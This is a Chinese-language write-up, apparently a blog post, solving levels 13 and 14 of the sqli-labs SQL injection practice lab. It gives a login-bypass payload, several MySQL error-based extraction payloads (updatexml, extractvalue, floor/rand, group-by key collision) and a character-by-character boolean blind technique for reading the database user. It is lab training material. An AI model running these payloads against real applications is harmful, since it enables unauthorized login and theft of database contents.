zoukankan      html  css  js  c++  java
  • sql-labs第十三题,十四题

    第十三题

    1 查找注入漏洞

    1.1 输入单引号触发错误

    从错误信息判断,提交的参数需要闭合单引号和括号

    1.2 构造payload,验证注入漏洞

    提交如下内容
    ') or 1=1#
    成功登录

    2 漏洞利用

    2.1 MYSQL显错式注入

    关于 MySQL显错注入

    1. 通过updatexml函数,执行SQL语句
      payload:') and updatexml(1,(concat(0x7c,(select @@VERSION))),1)#

    2. 通过extractvalue函数,执行SQL语句
      payload:') and extractvalue(1,concat(0x7c,(select user())))#

    3. 通过floor函数,执行SQL语句
      payload:') union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b#

    4. 通过group by重复键冲突显错
      payload:') union select concat(left(rand(),3),'^',(select version()),'^')a,count(*) from information_schema.tables group by a#

    2.2 使用条件语句推断数据

    根据登录状态推断数据
    因为当注入 ') or 1=2# 会登录失败,而注入 ') or 1=1# 会登录成功。那么就可以构造条件语句来判断推断的信息是否正确。
    eg:推断当前用户名
    首先使用length函数推断用户名的长度
    payload:') or length(user())=14#
    长度正确时登录成功

    然后逐字符推断用户名
    payload:') or substr(user(),1,1)='r'#
    推断当前用户名的第一个字符是不是'r'如果是则能成功登录,如果不是则登录失败。

    修改参数推断第二个字符 ') or substr(user(),2,1)='x'#
    。。。直到获得完整用户名。

    第十四题

    与十三题类似,单引号换为双引号,无需闭合括号。

  • 相关阅读:
    Python冒泡算法和修改配置文件
    第五章:处理数据
    第四章:持久存储
    Python之打印99乘法表
    Python之编写登录接口
    Python之文件操作
    第三章:文件与异常
    FineUI 修改config表属性
    FineUI Grid中WindowField根据列数据决定是否Enalble
    表之间不同字段的数据复制
  • 原文地址:https://www.cnblogs.com/a-qi/p/13531609.html
Copyright © 2011-2022 走看看